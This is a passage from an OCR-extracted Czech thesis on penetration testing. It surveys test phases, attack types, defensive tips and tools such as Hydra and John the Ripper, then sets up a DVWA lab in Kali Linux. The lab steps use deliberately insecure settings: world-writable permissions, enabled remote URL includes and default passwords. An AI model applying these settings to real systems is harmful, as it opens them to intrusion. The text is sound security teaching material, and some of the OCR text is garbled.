o Externi hrozby - porty, sitové protokoly, webové aplikace, sitovy provoz atd.

(ciphersec, 2020)

3.2.3.4 Exploitace

Zde se spousti exploity proti zranitelnostem, které tester objevil pomoci nastrojii a pokusi se
ziskat pristup do systému klienta. Cilem etického hackera je presné zjistit, jak daleko se
muze dostat, v pfipadé ze nema piedem stanoveny rozsah, jak daleko muze zajit.
Identifikovat cile s vysokou hodnotou a vyhnout se jakémukoli odhaleni. Neékteré
zranitelnosti se mohou pozoruhodné snadno zneuzit, naptfiklad piihlasovani pomoci
vychozich hesel. (Weidman, 2014) (ciphersec, 2020)
Mezi standardni taktiky zneuziti patfi napft:

o Utoky na webové aplikace

e sitové utoky

o Utoky zaloZzené na paméti

o Utoky na Wi-Fi

e Zero-Day Angle
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e Fyzické utoky

e Socialni inzenyrstvi (ciphersec, 2020)

3.2.3.5 Po-exploitace

Pokud se proniklo do nezaplatovaného starSiho systému, ktery neni soucasti domény a tento
systém neobsahuje zadné informace, které by uto¢nika zajimaly, je riziko této zranitelnosti
vyrazné nizsi, nez kdyby se podafilo zneuzit fadi¢ domény nebo vyvojovy systém klienta.
Pfi nasledném zneuziti se shromazd'uji informace o napadeném systému, hledaji se zajimavé
soubory. Muze se napiiklad vypisovat hashe hesel, aby se zjistilo, zda je to mozné zvratit
nebo pouzit k pristupu do dalSich systému. Tester se také muze pokusit vyuzit zneuzity
pocitac k utoku na systémy, které nebyly diive dostupné. (Weidman, 2014)

Po dokonceni doporuCeni pro penetraCni testovani by meél tester vycistit prostiedi,
prekonfigurovat vSechny pfistupy, které ziskal pro prinik do prostiedi, a zabranit budoucimu

neopravnénému pristupu do systému jakymikoliv prostredky. (ciphersec, 2020)

Mezi typické uklidové Cinnosti patii napf:
e QOdstranéni vSech spustitelnych soubort, skripti a doCasnych soubora z napadenych
systému.
e Prekonfigurovani nastaveni zpét na puvodni parametry pied pentestem.
e odstranéni vSech rootkitd nainstalovanych v prostredi
e odstranéni vsech uzivatelskych ucti vytvofenych pro pfipojeni k napadenému

systému (ciphersec, 2020)

3.2.3.6 Vytvorfeni zpravy

Posledni fazi penetracniho testovani je takzvané reportovani. Jedna se o nejkritictejsi aspekt
pentestu. V této fazi se sdéluje zjisténi bud’ se nékam zaznamena nebo je sdéleno klientovy,
kterym je feeno, co je spravné a co nikoliv. Déle v ¢em potiebuji zlepSit svou bezpecnostni
pozici, jakym zpusobem se tester dostal dovnitf, co zjistil, jak problémy odstranit atd.
(Weidman, 2014) (ciphersec, 2020)

Napsat dobrou pentestovou zpravu je umeéni, jehoz zvladnuti vyzaduje praxi, tak aby to
pochopil expert 1 kazdy ji. Zprava o pentestu by méla obsahovat shrnuti, tzv. technickou

zpravu. (Weidman, 2014)
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3.2.4 Typy penetracnich testu

Aby bylo zajisténo, ze pen testy mohou dosahnout cili a odhalit slaba mista, existuji riizné

typy pen testd, které se zaméfuji na rizné oblasti IT infrastruktury:

3.2.4.1 Testy webovych aplikaci

Penetracni testy webovych aplikaci provéfuji celkové zabezpeCeni a potencialni rizika
webovych aplikaci, vCetné chyb v kodovani, poruseného ovéfovani nebo autorizace a
zranitelnosti typu injection. Tento test vyuziva strategie utokt v realném svété k odhaleni
chyb a slabin zptisobenych samotnou aplikaci a jejim vztahem ke zbytku infrastruktury IT.

(HelpSystems, 2021)

3.2.4.2 Testy zabezpeceni sité

Cilem penetracnich testd sité€ je zabranit Skodlivym Cinim tim, Ze se najdou slaba mista
dfive, nez je najdou utoCnici. Pentestefi se zaméfuji na testovani zabezpecCeni siti tim, ze
vyuzivaji a odhaluji zranitelnosti riznych typua siti, souvisejicich zafizeni (smérovace a
prepinace, a dalsi). Cilem tohoto typu je vyuzit nedostatky v téchto oblastech, jako jsou slaba
hesla nebo §patn& nakonfigurovana zafizeni. Utok na sit mize byt znidujici, protoze aktér

hrozby mize snadno ziskat ptistup ke kazdému zafizeni v siti. (HelpSystems, 2021)

3.2.4.3 Testy zabezpeceni cloudu

S rozvojem cloud computingu organizace roz§ifily své moznosti a zavislost na cloudovych
platformach. Prestoze cloud nabizi efektivni a Skalovatelny zptusob poskytovani pfistupu k
firemnim datim, v mnoha organizacich se vytvorila slepa mista, pokud jde o zabezpeceni
cloudu. Vyskyt chybnych konfiguraci a prostych lidskych chyb v kombinaci s rostoucimi
hrozbami ze strany hackert, ktefi hledaji zranitelna mista, znamena, ze tymy IT bezpec¢nosti
musi pravidelné vyhodnocovat a provadét testovani zabezpeceni cloudu, aby mohly

proaktivné identifikovat a zmiriiovat rizika v cloudovém prostiedi. (HelpSystems, 2021)

3.2.4.4 Testy zabezpecCeni internetu véci

V tomto typu se musi brat v Uvaze nuance ruznych zafizeni IoT tim, Ze se analyzuji
jednotlivé komponenty a interakce mezi nimi. Pomoci vrstevnaté metodiky, kdy se analyzuje
kazda vrstva, lze pak odhalit slaba mista, ktera by jinak mohla zGstat nepov§imnuta. Zafizeni

IoT jsou nyni vSude, a to od zafizeni v domécnosti az po zafizeni integrovana do kritické
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infrastruktury organizace. Vzhledem k tomu, ze mnoho téchto zafizeni nema tradicni
operacni systémy, neni na nich bézn¢€ dostupny antivirus, takze jsou obzvlasté zranitelna.

(HelpSystems, 2021)

3.2.4.5 Sociélni inzenyrstvi

Socialni inzenyrstvi je taktikou naruSeni, ktera spociva v pouziti klamani s cilem ziskat
pfistup nebo informace, které mohou byt pouzity ke Skodlivym tcelim. Nejcastéjsi priklad
tohoto postupu je u phishingovych podvoda. Phishing se obvykle pouziva k jednomu ucelu.
Utognici se snazi propasovat skodlivy kod pres perimetr. Cil by mohl obdrzet e-mail, ktery
obvykle vypada, ze pochazi odnékud nebo od nékoho znamého. Pfipadné muze uzivatel
obdrzet e-mail, ktery se tvafi, jako by pochazel z divéryhodného mista, které vyzaduje
pfihlaSeni, naptiklad z banky. (HelpSystems, 2021)

Testovani socialniho inzenyrstvi napodobuje takovéto phishingové kampan€, aby bylo
mozné bezpecné zjistit, zda jsou zaméstnanci zranitelni vici phishingu a jaké typy phishii je
s nejvetsi pravdépodobnosti 1ze oklamat. Pen testefi by méli vytvorit riznorodou kampari a
nasadit e-maily s raznym stupném obtiznosti. Nékteré mohou byt podobné tém, které
skutecné pouzivaji aktéfi hrozeb v pfirodé, jiné mohou byt pecliveé prozkoumany a vytvoreny
tak, aby cilily konkrétné€ na organizaci nebo osobu. Uzivatelim, ktefi kliknou nebo zadaji
ptihlaSovaci udaje, neni doru¢en malware, ale jsou sledovani a ptfipadné oznaceni pro dalsi
Skoleni. Diky témto testi se zaméstnanci stanou prozirav€jSimi a budou vénovat Cas

peclivému prozkoumani e-mailu, nez uveii jeho pravosti. (HelpSystems, 2021)
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3.3 Kybernetické utoky

V dnesni dobé dochazi ke stale Cast€jsim ttokim jak na pocitace, tak i software, data Ci sit€.
Utoky jsou stale ucinngjsi a sofistikovangjsi a predstavuji hrozbu v prostoru informacénich

siti. (Kolouch, 2010)

Existuji 4 zakladni skupiny hrozeb:

1. Unik informace — v této hrozb& dojde k vyzrazeni chranéné informace

2. NaruSeni integrity — predstavuje poskozeni zménu nebo naruseni dat nebo informaci
3. Potlaceni sluzby — imyslné branéni v pfistupu k informacim ¢i systému
4

Nelegitimni pouziti — uziti informace neopravnénym subjektem (Kolouch, 2010)

Mezi nejcast&jsi utoky patfi:
1. Hacking
Cracking
Phishing
Pharming
Racketeering (kybernetické vypalné)
Malware
SQL injection
Man-in-the-middle
Odepfteni sluzby (Kolouch, 2010)

o ® N ook LD

3.3.1 Cracking

Protoze hacking byl jiz zminén na zacatku, pfejdu hned na druhy a to cracking. Cracking
znamena prolamovani ochrannych prvkt systémi a dalSich s cilem neopravnéného uziti.

Cracker zneuziva hackerskych metod k obohaceni sebe sama. (Kolouch, 2010)

3.3.2 Phishing

Phishing je zpisob, jimz se da spachat trestny ¢in podvodu prostfednictvim informacnich
technologii. U tohoto utoku se utoCnik snazi ziskat pristup k penéznim uctim néjakého
finan¢niho Gstavu, platebnim kartdm a nasledné z nich ziskat penézni obohaceni. Cilem jsou
pravé klienti, kterym jsou po prolomeni a ziskani informaci rozeslany e-maily

s kontaktovanim klientského centra a po kliknuti na odkaz je klient pfesmérovan na stejné
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vypadajici stranku s rozdilem, ze uz tomu tak neni. Zde chté&ji vétSinou piihlasovaci tidaje +
Cisla karty a PIN. Tim ziskaji vSechny potfebné informace a docili jejich snazeni. (Kolouch,

2010)

3.3.3 Pharming

Je sofistikovanéjsi verze phishingu. Jedna se nebezpecnéjsi verzi, kdy jde o tok na DNS
server, na kterém dochazi k prekladu doménového jména na IP adresu. Dochazi k tomu,
kdyz se uzivatel pfipojuje. V ten okamzik se totiz pfipoji na jinou IP adresu, podvrzenou.
Uzivatel se tak dostane na stranku kopirujici tu, kam se chtél prvné dostat. Vétsinou se opét
jedna o néjaké finanéni instituce, kdy klient zada prihlaSovaci udaje, které jsou pak nasledné

ukradeny. (Kolouch, 2010)

3.3.4 Racketeering

V tomto piipadé se jedna o to, ze utonik né€jakym zpisobem ziska citliva informace
uzivatele, u kterého se poté snazi vyvolat strach z mozné penetrace sytému, zniceni, odcizeni
dat anebo poSkozeni. Zde se opét jedna o trestny Cin kdy, ale nedochazi k fyzickému
kontaktu, proto se stava hiife dohledatelny. Utognik nebo spise vydérag vyuziva predevsim

neznalosti uzivatele a pozaduje za to finan¢ni obnos. (Kolouch, 2010)

3.3.5 Malware

Neboli také Skodlivy software. Jedna se jednu z nejCastéjSich hrozeb, ktery vytvofil n&aky
kyberzlo&inec nebo hacker, s umyslem narusit nebo poskodit po¢ita& uzivatele. Casto se $iii
prostfednictvim e-maild nebo soubort ke stazeni, které vypadaji legitimné. Existuje nékolik
moznych typt malwaru a to napiiklad: (Kaspersky, 2021)
= Viry
o Viry, které se vyskytuji v riznych oblastech
o Napftiklad virus: Samo replikujici se program, ktery se pfipoji k Cistému
souboru a §ifi se po celém pocitaovém systému, pficemz infikuje soubory
Skodlivym kodem. (Kaspersky, 2021)
* Trojsky kan
o Jedna se o typ malwaru, ktery se tvafi jako legitimni software
o Kyberzlocinci pouziji Isti, aby dostali trojského koné do uzivatelova zatizent,

kde zptsobuje skodu a shromazdi data (Kaspersky, 2021)
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* Spyware
o Program, ktery tajné zaznamenava, co uzivatel na svém zafizeni déla.
o Kyberzlo¢inci se tak dostanou napfiklad udajim o platebni karté nebo jinych
dilezitych informaci (Kaspersky, 2021)
* Ransomware
o Software, ktery uzamkne soubory a data neékteré¢ho uzivatele, kterym pak
nasledné hrozi jejich smazanim nebo zvefejnénim
o Za vraceni pozaduji vykupné (Kaspersky, 2021)
"  Adware
o Je reklamni software, ktery se muze pouzit k §ifeni Skodlivého softwaru
(Kaspersky, 2021)
= Botnety
o Jsou sité pocitacu infikovanych malwarem
o KyberzloCinci je tak pouzivaji k provadéni ukold bez souhlasi uzivatell

(Kaspersky, 2021)

3.3.6 SQL injection

Typ kybernetického utoku, ktery slouzi prevzeti kontroly nad néjakou databazi a prevzeti
tak jejich dat. Kyberneticti zlo¢inci vyuzivaji zranitelnosti v aplikacich zalozenych na datech
k vlozeni Skodlivého kodu do databéaze prostiednictvim Skodlivého prikazu SQL. Tim ziskaji

pristup k citlivym informacim obsazenym v databazi. (Kaspersky, 2021)

3.3.7 Man-in-the-middle

Typ kybernetické hrozby, pfi niz uto¢nik zachyti komunikaci mezi dvéma osobami a pokusi
se ukrast jejich vzijemnd data. Dé&e se tomu tak v nezabezpeCené WiFi siti. Kde je

jednoduché komunikaci zachytit. (Kaspersky, 2021)

3.3.8 Odepreni sluzby

Nebo anglicky denial-of-service attack. Spoc¢iva v tom, Ze zloCinec zabrani pocitaCovému
systému plnit legitimni pozadavky tim, ze zahlti sité a servery provozem. Tim se systém

stava nepouzitelnym a organizace nemuze vykonavat dulezité funkce. (Kaspersky, 2021)
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3.4 Kyberneticka bezpecnost

Zabyva se, jak uz nazev napovida ochranou pocitacl, serverd, siti a dalSich pred

kybernetickymi Gtoky. Cemu vSemu hrozi riziko prolomeni a mélo by byt podrobeno

penetracnimu testovani:

Vetejné webové stranky

Interni firemni informace o klientech a zameéstnancich
E-mailové servery a schranky,

Ptistupové hesla

Ulozisté dat

FTP servery

Softwarové aplikace

Informacni systémy (Integra, 2021)

Lze rozdélit do ne€kolika spolecnych kategorii:

1.

Zabezpeceni sité

Je postup zabezpeceni sité pred jakymikoliv narusiteli, tedy at’ uz uto¢niky nebo
malwarem. (Kaspersky, 2021)

Zabezpeceni aplikaci

Tato kategorie se zaméfuje na ochranu softwaru a zatfizeni pfed hrozbami. Napadena
aplikace by mohla poskytnout pfistup k datim, ktera v ni maji byt chranéna. Spravné
zabezpeceni by mélo byt jiz v rdmci navrhu, tedy pred tim, nez je aplikace vydana.
(Kaspersky, 2021)

Zabezpeceni informaci

Chréani integritu a soukromi dat, a to jak v ulozisti, tak pfi pfenosu. (Kaspersky, 2021)
Provozni zabezpeceni

Zahrnuje procesy a rozhodnuti pro nakladani s daty a jejich ochranu. Do této oblasti
spadaji opravnéni, ktera maji uzivatelé pti pfistupu k siti, a postupy, které urcuji, jak
a kde mohou byt data ulozena nebo sdilena. (Kaspersky, 2021)

Obnova po havarii a kontinuita provozu

Tato kategorie definuje, jak organizace reaguji na incident zptsobeny kybernetickym
utokem, ktery zpusobil naptiklad ztratu provozu nebo dat. Zasady obnovy po havarii
urCuji, jak organizace obnovi své operace a informace, aby se vratila ke stejné

provozni kapacité jako pred udalosti. (Kaspersky, 2021)
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3.4.1

Kontinuita je pak plan, ke kterému se organizace vraci, kdyz se snazi fungovat bez
urCitych zdroju. (Kaspersky, 2021)

Vzdélavani koncovych uzivatelt

Je jednou znejdulezitéSich kategorii, feS$i nejvice nepredvidatelngjsi faktor
bezpecnosti a to lidi. Napiiklad kdokoliv v kterékoliv firmé nebo organizaci muze
nevédomky privést n€jaky vir do bezpecného systému. Je dilezité naucit uzivatele
mazat podezielé e-maily, nezapojovat neidentifikované USB disky a jiné jinak

dulezité lekce o bezpecnosti. (Kaspersky, 2021)

Jak se chranit proti kybernetickym utokiam?

Dulezitym aspektem v ochrané pocitacu, telefont, tablet a dalSich zafizeni je prevence do

které se fadi nékolik nasledujicich bodu:

1.

Pravidelna aktualizace softwaru a operacniho systému. To znamena pouzivat
nejnovej§i ochrany, 1 kdyz se zde doporucuje nejprve zjistit, zda tato verze
neobsahuje néjaké chyby, které je potieba stale opravit. (Kaspersky, 2021)
Pouzivani antivirového softwaru. Antivirové ochrany odhali nedostatky v zafizeni
uzivatele a odstrani hrozby. Mnoho ale jejich funkci je zpoplatnéno a takzvana free
verze neni dostacujici. Proto se doporucuje zvazit koupi né&jakého antivirového
softwaru. Déle se doporucuje drzet software a v nejnové)si verzi, tedy ho stale
aktualizovat. (Kaspersky, 2021)

Pouzivani silnych hesel. Hesla uzivatele by méla byt odlisna a pestra ve vybéru
znak(l. To znamena velka, mala pismena, &isla a specialni znaky. Cim je heslo
slozit&)si, tim je méné pravdépodobné, ze utocnik prolomi ochranu tfeba brute force
utokem. V pfipadé ze se utoCnikovi podafi prolomit heslo uzivatele oteviraji se dalsi
moznosti, jak proniknout do dalSich uctd. Proto pokud utocnik pronikne do
uzivatelova emailu ma témer jistotu, ze se dostane do dalSich Ucth uzivatele pres
moznost ,,zapomenuté heslo (Kaspersky, 2021) (Malwarebytes, 2021)

U e-maild je dobré zkontrolovat odesilatele. Piipadé pochyby neotvirat ptilohu e-
mailu, mohlo by se jednat o nebezpe¢ny malware. (Kaspersky, 2021)

Spojeny s piedeslym bodem, tak neklikat ani na odkazy. Zde by se opét mohlo jednat
o malware nebo o jeho Sifeni. (Kaspersky, 2021)

Nepouzivat nezabezpecené Wi-fi sité€ na verejnych mistech. Nezabezpecené sité Cini

uzivatele zranitelnymi viici utokiim typu man-in-the-middle. (Kaspersky, 2021)
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7.

342

Bezpecné vyhledavat na internetu. To spociva v tom vyvarovat se navstévy
nebezpeénych webovych stranek a nikdy nestahovat neovéfené prilohy.
(Malwarebytes, 2021)

Jako posledni jsou tu aplikace na prenosna zarizeni. Uzivatel by nikdy nemél
stahovat neovéefené aplikace. Proto by se mélo stahovat pouze z legitimnich trzist),
ktera si sama hlidaji, zda neobsahuji skodlivy software, napfiklad Google Play a
Appstore. Dale se doporucuje 1 na téchto trzistich zkontrolovat jeji hodnoceni
recenze a pocet stazeni. Pfi negativnim hodnoceni nebo Spatnych recenzi je lepS§i se

aplikaci vyhnout. (Malwarebytes, 2021)

Jak chranit firmu proti kybernetickym utokim?

Neékolik tipt, jak zastat v bezpeci a ochranit tak organizaci pred utoky hackert

1.

Zavedeni segmentace sité. Rozlozeni dat do menSich dilCich siti snizuje vase
vystaveni riziku pfi atoku. To muze pomoci omezit infekci pouze na nékolik
koncovych bodt namisto celé infrastruktury. (Malwarebytes, 2021)

Uplatiiujte princip nejmensich opravnéni (PoLP). To znamena ze uzivatelim je
poskytnuta pouze takova urover pristupu, kterou pottebuji k vykonu své prace, a nic
vic. Minimalizuji se tim potencialni Skody zpusobené utoky ransomwaru.
(Malwarebytes, 2021)

Zalohavsech dat. To plati i pro v§echny koncové body v siti a sitové sdilené soubory.
Pokud jsou data archivovana, je tu moznost vzdy infikovany systém vymazat a
obnovit ze zalohy. (Malwarebytes, 2021)

Vzdélavat koncové uzivatele o tom, jak rozpoznat malspam. Uzivatelé by se méli mit
na pozoru pied nevyzadanymi e-maily a ptilohami od neznamych odesilateld. Pii
manipulaci s ptfilohami. V dne$nich firmach se provadi tajny test, kdy je vSem
zaméstnancum rozeslan falesny Skodlivy email a pozoruje se kolik zaméstnanct na
dany odkaz v mailu kliklo. (Malwarebytes, 2021)

Dulezitym bodem je vzdé€lavat zaméstnance v oblasti vytvareni silnych hesel a
informovat o moznych cinnostech, které by mohly vést k utoku. (Malwarebytes,
2021)

Vice faktorového ovéfovani (MFA) - minimalné dvou faktorové ovéfovani.

(Malwarebytes, 2021)
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7. A jako posledni plati stejné jak u normalnich uzivatelt neustale aktualizovat svij

software. (Malwarebytes, 2021)
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3.5 Nastroje na penetracni testovani

Utolnici pouzivaji nastroje, aby byly jejich pokusy o naruseni Gsp&$ngjsi. Totéz plati pro
pen testery. Software pro penetracni testovani je urCen k doplnéni, nikoliv k nahrazeni
cloveka - umoziuje pen testeram soustiedit se na mysleni mimo ramec tim, ze piebira ukoly,
které vyzaduji Cas, ale ne mozkovou kapacitu. Pokud jde o pen testovani, nikdy neni na vybér
mezi nastroji pro penetracni testovani a penetracnimi testery. Misto toho je to volba toho,
jaké nastroje penetraéniho testovani pomohou penetraCnimu testerovi nejvice.

(HelpSystems, 2021)

3.5.1 Burp Suite

Burp nebo Burp Suite je sada nastroji pro penetracni testovani webovych aplikaci. Vyvinula
ji spolecnost Portswigger. BurpSuite si klade za cil byt sadou nastroju typu vSe v jednom a
jeho moznosti lze rozsifit instalaci doplnki. Jedna se o nejoblibenéj§i nastroj mezi
profesionalnimi vyzkumniky zabezpeceni webovych aplikaci a lovei chyb. BurpSuite je
k dispozici v edicich: community edition, professional edition a enterprise edition.

(awasthi7xenextt, 2019) (Portswigger, 2021)

3.5.2 Aircrack-ng

Sada nastroju pro do zabezpeceni WiFi sit€. Zamétuje se na ruzné oblasti zabezpeceni WiFi
jako napfiklad na:
e Monitorovani - Zachyceni paketi a export dat do textovych soubori pro dalsi
zpracovani nastroji tetich stran.
e Utoky
e Testovani — zachyceni a injektovani, kontrola wifi drivert a jejicj schopnosti

e Cracking: WEP a WPA PSK (WPA 1 a 2) (aircrack-ng, 2021) (Martin6, 2020)

3.5.3 THC Hydra

Jedna se o paralelni piihlasovaci cracker, ktery podporuje Cetné protokoly k utoku. Tento
nastroj predevsim slouzi k vyzkumnym acelim pracovnikt. Ukazuje, jak snadné by bylo se

dostat k neopravnénym informacim a ziskat tak pfistup na dalku. (Martin6, 2020)
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3.5.4 John the Ripper

Je open source nastroj pro zabezpeceni hesel a jejich obnovu. Je dostupny pro mnoho
operacnich systémua a podporuje stovky typu hasht a Sifer. Kombinuje nékolik rezimt
prolomeni v jednom programu a je plné konfigurovatelny pro potieby uzivatele. (Martin6,

2020) (Openwall, 2021)

3.5.5 .Nmap

Bezplatny a otevieny nastroj pro zjistovani a auditovani sité. Vyuziva se také pro ukoly jako
je inventar sit€ sprava plant upgradu sluzeb a monitorovani doby provozu hostitele nebo
sluzby. Vyuziva IP pakety k urceni, kteti hostitelé jsou v siti k dispozici, jaké sluzby

nabizeji, jako operacni systémy pouzivaji a dalsi. (Martin6, 2020) (Nmap, 2006)

3.5.6 WireShark

Je analyzatorem sitovych protokoli. To umoziuje vidét co se d€je na mikroskopické urovni.
Jedna se o standart v mnoha primyslovych odvétvi. Ma bohatou sadu funkci, ktera zahrnuje
hloubkovou kontrolu stovek protokolu, pficemz je stale vice pfidavano. Podporuje také zivé

zachyceni a offline analyzu. (Martin6, 2020) (Wireshark, 2021)

3.5.7 Nikto

Zaméfuje se na shromazd'ovani informaci. Provadi komplexni testy webovych servert,
kontroluje zastaralé verze a také polozky konfigurace serveru, napriklad pfitomnost vice
souborti indexu, moznosti serveru HTTP a pokusi se identifikovat nainstalované webové

servery a software. (Martin6, 2020)
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3.6 Kiritéria komparace

3.6.1 Cena alicence

Mnoho uzivateli a spolecnosti klade velky diraz na cenu produktu, proto je to jeden
z dulezitych faktori, protoze néktefi uzivatelé nebo spoleCnosti maji stanovené urCité
naklady, které 1ze vymezit na tyto nastroje. I nastroji pro penetracni testovani se jejich velky
pocet vyskytuje v bezplatné verzi neboli také jako open source, a to kolikrat na omezenou
casovou dobu, po jejiz uplynuti je uzivateli odepfen pfistup a je tu nutnost dany nastroj
koupit. Jiné jsou uz od zacatku komercni a je nutnost za né zaplatit. (Manoj, 2014)

(HelpSystems, 2021)

3.6.2 Spolehlivost

Dalsim dulezitym faktorem je spolehlivost daného nastroje. Zda nastroj plni funkce, které

ma, poptipad¢ pfi jakych obtizich, pokud néjaké nastanou. (Manoj, 2014)

3.63 Cas

V této kategorii je dilezity Cas, ve kterém nastroj splni svoji funkci. 4as je dulezity pro
pfipady, kdyby se testy nebo skenovani opakovalo. Miize se totiz stat, ze testovani bude
hardwarové obtizné a mohly tak pretizit nebo poskodit pocita¢ na kterém jsou testy

vykonéavany. (Manoj, 2014)

3.6.4 Dokumentace

Dokumentace je nedilnou casti spravného nastroje, proto je zde dulezité, jestli se dana
dokumentace vyskytuje, a jak obsahlé je. Dokumentace je uziteCna pro rychlou a efektivni

praci. (Manoj, 2014)

3.6.5 Podpora a udrzovanost

U téchto nastroju je velmi dulezité, aby byli co nejaktualnéjsi, protoze vyvoj dnesnich
aplikaci a technologii jde stale kupfedu. Tim padem se vyskytuji nové moznosti, jak dané
problémy obejit a objevuji si i nové problémy, které lze najit v starSich aplikaci. Proto je
nutné stahovat nebo kupovat aktualni nastroje, které maji stale podporu a vychazi na ngj
pravidelné aktualizace. Pro tuto kategorii je dilezité uvadét datum posledni verze nebo stav

vyvoje. (Manoj, 2014) (HelpSystems, 2021)
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3.6.6 Automatizace

Bonusem pro dany nastroj muze byt jeho urcita automatizace. Vétsinu aplikaci je mozné
spoustét jinymi aplikacemi na pravidelné bazi a s riznymi parametry. U nékteré nastroja
neni potteba dalSich aplikaci a maji ur€itou automatizaci zabudovanou jiz v sobg. V této
kategorii se proto zaméfuje, zda se automatizace vyskytuje a jak se pouziva. (Manoj, 2014)

(HelpSystems, 2021)

3.6.7 Vystup

Dulezitym faktorem je vystup z daného nastroje. Zda se jedna o adekvatni vysledek Ci
nikoliv. Kolik a co je mozné s danym vysledkem d¢lat a zda se da pouzit i dale na dalsi

postupy a zda je mozna dodatecna manipulace s vysledky (HelpSystems, 2021)
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3.6.8 Prehled vSech kritérii

Nazev Popis Hodnoty

Cena a licence Zda se u stazeni nastroje Castka/Zdarma/Cena
vyskytuje néjaka cena nebo | licence
licence a jaka.

Spolehlivost Zda nastroj plni funkce, 0-100 %
které ma, poptipad¢ pri
jakych obtizich.

Cas Doba, po kterou bézi Cas v sekundach
pozadovany test

Dokumentace Jak kvalitni je dokumentace | ANO - kvalita (vyborna,

a jak je popsano pouziti

nastroje.

dobra, dostacujici) / NE

Podpora a udrzovanost

Zda je nastroj podporovany
a udrzovany a zda se stale
pokracuje na jeho vyvoji Ci

nikoliv.

ANO - Datum posledni
verze/NE - Datum posledni

Verze

Automatizace

Zda nastroj ma moznosti
n¢jaké automatizace, Ci

nikoliv

ANO/NE

Vystup

Pouziti vysledkd.

ANO - format exportu/NE

Tabulka 1: Prehled vsech kritérii
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4  Vlastni prace

V teoretické Casti byly popsany zéklady o penetracnim testovani, utoky a ochrana.
V praktické Casti je rozvedena ochrana a provadi se Utoky danymi nastroji, kde nakonec je
vyhodnoceni a urCeni nejvhodnéj§iho nastroje. Dale v praktické Casti probihaji testy
nejpouzivanéjsSich nastroji pro penetracni testovani dostupnych z prostfedi Kali Linux,
respektive vyhradné€ z nastroju, které jsou jiz predinstalovany v samotném opera¢nim
systému. Nasleduje urcent, ktery z téch nejlépe hodnocenych je doopravdy ten nejlepsi.

Testy se zaméfuje na zpusoby ziskani piihlasovacich Gdaja riznymi zptsoby a zji§tovani

zranitelnosti.

4.1 Testovaci prostiedi

Samotné penetracni testovani je nelegélni Cinnost, a proto se budou pouzivat nastroje, weby
a webové aplikace k tomu predem urcené, tak aby nedoslo k nezakonné aktivité. Z davodu
bezpe€i mého zafizeni jsou vSechny testy provadény ve virtualnim prostiedi, tak aby se
nedoslo k 4ymé mého zafizeni.

4.1.1 VirtualBox

4.1.1.1 Popis a instalace

VirtualBox je univerzalni plnohodnotny virtualizator pro hardware x86 urceny pro pouziti
na serverech, stolnich pocitacich a vestavénych zatizenich.

Instalace probéhla z oficidlni stranky oraclu pro stazeni VirtualBoxu. kde jsem stahl
nejnove)si verzi 6.1.32, pro Windows.

4.1.2 Kali Linux

4.1.2.1 Popis

Kali Linux je open-source distribuce Linuxu zalozena na Debianu, ktera je urCena pro rizné
ukoly v oblasti informacni bezpec¢nosti, jako je penetracni testovani, bezpecnostni vyzkum,

pocitaCova forenzni analyza a reverzni inZzenyrstvi.

4.1.2.2 Instalace

Vybér operacniho systému je prosty. Kali Linux je totiz designovan na penetracni testovani

a ma tak vSe potiebné k této Cinnosti, véetné predinstalovanych nastroja. Stazeni systému
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bylo provedeno z oficialnich stranek Kali pro virtualni prostiedi a virtualbox. Nasledné ve
virtualboxu bylo vybrano: Pocita¢ — pfidat — a nasledné vybran stazeny soubor s kali -
Kali-Linux-2021.4a-virtualbox-amd64.vbox
Ptihlasent:

e Uzivatelské jméno: kali

e Heslo: kali

Samotné prosttedi po piihlaseni vypada nasledovné jak je na obrazku 2.

BoRdo " HR0G@wrotcowl

Obrazek 2: Plocha Kali linux, zdroj viasini

4.1.3 DVWA

4.1.3.1 Popis

Damn Vulnerable Web App (DVWA) je webova aplikace PHP/MySQL, ktera je zatracené
zranitelna (Damn Vulnerable). Jejim hlavnim cilem je pomoci bezpe¢nostnim profesionaliim
otestovat své dovednosti a nastroje v legalnim prostiedi, pomoci webovym vyvojaiam lépe
pochopit procesy zabezpeceni webovych aplikaci a pomoci ucitelim a studentim vyucovat

a ucit se zabezpeCenim webovych aplikaci.

4.1.3.2 Instalace a zapinani

V této praci byla nainstalovana aplikace DVWA do opera¢niho systému Kali Linux ve
VirtualBoxu. Dalsi potfebnou Casti je databaze a v tomto pfipadé byla vybrana databaze

MySQL. Jako posledni je potieba lokalni server, ktery je v této pracit APACHE server.
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Postup instalace:

1. Veskera instalace jiz nyni probiha v prostiedi Kali Linux. DVWA se stahuje ze
stranek GitHubu odkud je zkopirovano url.

2. Instalace pokracuje v terminadlu Root Terminal Emulator pfikazem: git clone
https://github.com/digininja/DVW A.git nasleduje ptikazem chmod -R 777 DVWA
pro nastaveni prav

3. Jako posledni je tfeba nastavit heslo, coz se provede piikazem nano config.inc.php
kde se zméni heslo na jakékoliv mozné. V tomto pfipadé€ na user a pass, jak je
zobrazeno na obrazku 3.

. root@kali: fvar/www/html/DVWA/config
File Actions Edit View Help

GNU nano 5.9 config.inc.php

2?php

# If you are having problems connecting to the MySQL database all of the variables below arg
# changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to socj
Thanks to @digininja the fix.

Database management system to
= 'MySQL';
QL';

Database variables
WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
Please a database dedicated to DVWA.

If you are using MariaDB then you cannot root, you must create a dedicated DVWA user.
See README.md more information on this.
= l .

# ReCAPTCHA settings
o Used the 'Insecure CAPTCHA' module
#  You'll need to generate your own keys at: https://www.google.com/recaptcha/admin

key' ]

# Default security level

[ Read 61 lines (Converted from DOS format) ]
e Help e write Out Bl Where Is WY Cut Ml Execute B8 Location
B Exit M Read File B\ Replace @l Paste g8 Justify Wi Go To Line

Obrazek 3: Kali - nastaveni uZivatelského jména a hesla, zdroj viasmi

Dale byla provedena konfigurace mysql, kde se vytvoftil uzivatel a kde mu jsou dana
vSechna potiebna prava. Dale byla provedena konfigurace apache serveru, kde bylo
potieba v souboru php.ini povolit url a to allow_url_fopen a allow_url_include.
Postup zapnuti:

1. Prvni prikaz: service mysql start

2. Druhy piikaz: service apache2 start
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3. Do prohlizeCe je zadéna adresa 127.0.0.1/DVWA, ktera po prvnim zapnuti
prenese uzivatele do setupu DVWA jak je na obrazku 4. Po pfiStim nebo
opétovném spusténi je uzivatel presunut jiz na piihlasSeni, jak je na obrazku 5.,
kde ptednastavené ptihlaseni je:

e Uzivatelské jméno: admin

e Heslo: password

O O A po9se | @ G

n © @

Setup Check

Web Server SERVER_NAME' 127.0.0.1

bIDSAmyphpids_log it Y
inyour php i fie and restart

8 uPo  H0@@vdcnrd

Obrdzek 4: DVWA - prvni zapnuti, zdroj vlastni

